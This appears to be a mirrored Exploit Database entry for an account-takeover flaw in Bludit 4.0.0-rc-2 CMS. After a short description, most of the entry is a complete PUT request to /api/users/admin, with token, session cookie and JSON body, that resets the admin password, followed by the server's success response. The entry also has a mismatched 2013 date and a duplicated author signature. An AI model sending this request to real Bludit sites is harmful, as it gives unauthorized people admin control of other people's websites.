Bludit 4.0.0-rc-2 – Account takeover

• Exploit Database
• 142 阅读

• 作者： nu11secur1ty
  日期： 2023-04-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51360/
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  ## Exploit Title: Bludit 4.0.0-rc-2 - Account takeover ## Author: nu11secur1ty ## Date: 04.11.2013 ## Vendor: https://www.bludit.com/ ## Software: https://github.com/bludit/bludit/releases/tag/4.0.0-rc-2 ## Reference: https://www.cloudflare.com/learning/access-management/account-takeover/ ## Reference: https://portswigger.net/daily-swig/facebook-account-takeover-researcher-scoops-40k-bug-bounty-for-chained-exploit   ## Description: The already authenticated attacker can send a normal request to change his password and then he can use the same JSON <code>object</code> and the vulnerable <code>API token KEY</code> in the same request to change the admin account password. Then he can access the admin account and he can do very malicious stuff.   STATUS: HIGH Vulnerability   [+]Exploit: </code><code>PUT PUT /api/users/admin HTTP/1.1 Host: 127.0.0.1:8000 Content-Length: 138 sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36 content-type: application/json Accept: */* Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8000/admin/edit-user/pwned Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthui Connection: close   {"token":"4f8df9f64e84fa4562ec3a604bf7985c","authentication":"6d1a5510a53f9d89325b0cd56a2855a9","username":"pwned","password":"password1"}   </code><code> [+]Response: </code><code>HTTP HTTP/1.1 200 OK Host: 127.0.0.1:8000 Date: Tue, 11 Apr 2023 08:33:51 GMT Connection: close X-Powered-By: PHP/7.4.30 Access-Control-Allow-Origin: * Content-Type: application/json   {"status":"0","message":"User edited.","data":{"key":"admin"}} </code><code> ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bludit/2023/Bludit-v4.0.0-Release-candidate-2)   ## Proof and Exploit: [href](https://streamable.com/w3aa4d)   ## Time spend: 00:57:00     -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>     -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>